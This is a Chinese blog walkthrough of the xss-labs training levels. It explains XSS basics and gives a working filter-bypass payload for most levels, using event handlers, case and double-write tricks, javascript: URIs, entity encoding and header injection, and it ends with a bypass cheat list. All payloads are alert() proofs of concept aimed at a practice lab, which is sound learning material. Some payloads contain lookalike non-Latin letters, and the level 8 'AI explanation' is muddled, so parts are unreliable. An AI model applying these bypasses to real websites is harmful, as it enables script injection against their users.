也是放寒假了昂,该学习了(doge)
一、什么是XSS
先回顾一下前面pikachu的知识,再接下来进行学习
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
二、开始通关
level1
老规矩,先康康源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这段代码是一个简单的HTML页面,其中包含了一些JavaScript和PHP代码。
<!DOCTYPE html>
: 这是HTML5的文档类型声明,指示页面使用HTML5标准。<html>
: HTML文档的根元素。<head>
: 包含了页面的元数据和引用的外部资源。<meta http-equiv="content-type" content="text/html;charset=utf-8">
: 这是一个元数据标签,用于指定文档的字符编码为UTF-8。<script>
: 这里定义了一个JavaScript代码块。window.alert = function() { ... }
: 这段代码重写了window.alert
函数,使其在调用时弹出一个确认框,显示"完成的不错!",然后重定向到"level2.php?keyword=test"页面。
<title>欢迎来到level1</title>
: 设置页面的标题为"欢迎来到level1"。<body>
: 包含了页面的可见内容。- PHP代码块:
ini_set("display_errors", 0);
: 这行代码用于设置PHP的错误显示方式,将错误信息输出关闭。$str = $_GET["name"];
: 这行代码从URL参数中获取名为"name"的值。-
echo "<h2 align=center>欢迎用户".$str."</h2>";
: 这段代码将获取的"name"参数值插入到HTML中,用于显示欢迎用户的信息。(这个是构造payload的关键)
<center><img src=level1.png></center>
: 这里显示了一个居中的图片,图片的路径是"level1.png"。- PHP代码块:
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
: 这行代码计算显示了获取的"name"参数值的长度。、(人工智能的伟大啊)
阅读源码后发现代码没有做任何过滤
直接在url处输入name的参数即可,通过这个构造payload <script>alert(1)</script>
level2
先看看题目,发现直接输入 <script>alert(1)</script> 没用,会在输入上面直接有回显,并且回显payload的长度
老规矩,再康康源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现源码对输出进行了htmlspecialchars($str)过滤
htmlspecialchars函数的作用:用于将字符串中的特殊字符转换为HTML实体,这样可以避免在HTML文档中出现错误或安全漏洞。例如,它会将"<"转换为"<",将">"转换为">",将"&"转换为"&"等等。这样可以确保在HTML文档中正确地显示这些字符,同时也可以防止XSS(跨站脚本攻击)等安全问题。
但是没有对表单输出进行过滤,由此可以构造payload
方法一:不逃逸input表单但是闭合双引号+一个事件触发XSS
payload:" οnmοusemοve="alert(1)
(鼠标移动触发payload)
方法二:逃逸input标签+构造payload
payload:1"><script>alert(1)</script>
成功过关!
level3
还是先看看源码
坏了,发现两个输出都进行了htmlspecialchars过滤
过关技巧:htmlspecialchars对单引号不做处理,而且源码中的value是用单引号
payload:' onclick ='javascript:alert(1)'(这里使用js语言不包含会被htmlspecialchars处理的字符)
level4
还是先康康源码
这次呢,发现第一次输出进行tmlspecialchars过滤,第二次输出对< >进行了处理将他们变成了空格,但是本质上我们处理的是第二个输出,所以可以将上一关的单引号改为双引号直接用。
payload:" οnclick=alert(12) //
level5
先看看源码
发现进行了strtolower处理,不可以用大小写绕过,并且对on,script进行了处理,但是没有对<和>进行处理,由此可以构造payload,构造a标签,利用a标签的href属性执行javascript
payload:"></input><a href='javascript:alert(1)'>asd</a>(构造一个点击跳转)
点击asd
成功通关!
level6
还是先康康源码
首先,过滤了一些常用的字符,直接说了,源码没有对大小写进行任何处理,直接大小写绕过就行了
payload:"> <SCRIpt>alert(1)</SCRIpt> <"
成功过关!
level7
先看看源码
这回好了,常见的字符和大小写都被过滤了,试试双写绕过,源码只是将对应的字符转变为空,
并且只转变一次,由此可以构造payload
payload:"> <scscriptript>alert(1)</scscriptript>
成功过关!
level8
还是先康康源码
代码先是将字符转换为小写,然后过滤特殊字符和双引号,最后又加了一个转义函数输出,基本上常规方法无法绕过,但是源码中的友情链接是本题的突破点。在input框中输入字符提交之后,在友情链接处会载入一个拼接后的a标签,javascript被过滤,所以可对其进行编码绕过。
(AI解释一下)可以尝试使用HTML实体编码来绕过Javascript过滤。例如,您可以将<
编码为<
,将>
编码为>
,这样就可以绕过Javascript过滤,提交包含a标签的内容。例如,您可以输入<a href="http://example.com">点击这里</a>
来创建一个包含链接的a标签。这样就可以成功提交含有a标签的内容,而不会受到Javascript过滤的影响。
我们这里把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过
使用unicode解码工具(网上就有)
javascript:alert(1)
成功过关!
level9
先看看源码
这一题和上以题的区别就是会检查处理后的字符串中是否包含 "http://",如果包含则会作为一个链接显示在页面上,否则会显示一个提示信息。那我们就构造一个含有http://的payload
payload:javascript:alert(1)//http://
成功通关!
level10
先看看源码
再看看页面代码(右键->查看页面源代码)
值得注意的的是:PHP代码使用$_GET
从URL中检索"keyword"和"t_sort"参数的值。然对"t_sort"参数进行一些字符串操作,以去除其中的">"和"<"字符。然后,它输出一条消息,指示未找到与"keyword"相关的结果,并输出一个包含经过清理的"t_sort"值的隐藏表单。
我们可以通过看页面的源代码来确定这三个隐藏标签
payload:<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
发现t_sort这个标签是一个隐藏的输出标签,康康源码,发现亦是如此。
由此构造payload:t_sort=" onclick ='javascript:alert(1)'// type=button
我感觉是因为尖括号被编码了,所以用js语言。
成功过关!
level11
老规矩,先看看源码和前端代码。
发现又有四个隐藏标签,我们尝试对这4个进行传参
?keyword=good%20job!&t_link=11&t_history=22&t_sort=333&t_ref=44
成功发现我们用于传参的标签还是t_sort,但是根据源码看来, 输出进行tmlspecialchars过滤,那么这样浏览器只能正常显示字符但是却无法起到闭合的作用了。
我们回到第4个标签t_ref,它的值是第10关的地址,猜测ref又可能是http头中的referer属性。
请出burp抓包
可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上
构造payload:referer:"type="text" οnclick="alert('xss')
或者是referer:111" onclick ='javascript:alert(1)'// type=button
放包,再点击一下搜索框
成功过关!
level12
先看看网页源码和源码再说
发现t_ua的值好像和数据包中User-Agent头的值比较像,然后再康康源码
果然,一切都在我的掌握之中(doge),那这就好办了,请出burp抓包
修改User-Agent头
payload:" onclick ='javascript:alert(1)'// type=button
放包,并且点击搜索框
成功过关!
level13
还是四个隐藏框,t_cook可能是cookie,抓包仍然是相同的方式
直接在cookie后面插入xss
payload:" onclick ='javascript:alert(1)'// type=button
点击搜索框
成功过关!
level14
emmm.......
首先,我师傅没打,其次,找不到其他的资源,最后,无法打开,直接跳过
level15
还是先康康源码
此处用了ng-include指令的话,先了解一下其具体的用法。
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
payload:?src='level1.php?name=<img src= ''javascript:alert(1)>'
成功通关!
level16
老规矩,先看看源码。
这里先是将字母小写化了,再把script替换成空格,把/
替换成空格最后将空格给实体化
空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的、、
直接空格编码绕过,我们使用svg标签
payload:<svg%0aοnlοad=alert(1)>
成功通关!
level17
还是先康康源码
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会有块错误的区域。也可以绑定各种事件,比如尝试绑定一个onmouseover事件。后台看代码用了htmlspecialchars,所以直接写标签是不行的。
payload:?arg01=a&arg02= οnmοuseοver=javascript:alert(1)
然后移动一下鼠标
成功过关!
level18
和第17关一样的,不用打
三、结束语
弄了三天,拖的有一点久了,总结一下常见的绕过姿势
1、大小写绕过(转换大小写字符)
注意:1、js中严格区分大小 2、在html标签中不区分大小写
2、实体编码转换绕过
3、双写绕过
4、伪协议绕过 (JavaScript 后面可以执行很多js代码,但每个语句要用;隔开)
5、事件绕过(onlick、onmouseout)
6、还可利用单双引号、制表
7、 <script> alter() </script> //警告消息框 有一个确定键 (用的比较多)
8、<img οnerrοr=javascript:alert(/xss/);>
9、<a href="javascript:alert(/xss/)"></a> 伪协议
10、可内嵌在标签属性里的 onclick 或 onmouseout eg: button标签、iframe标签等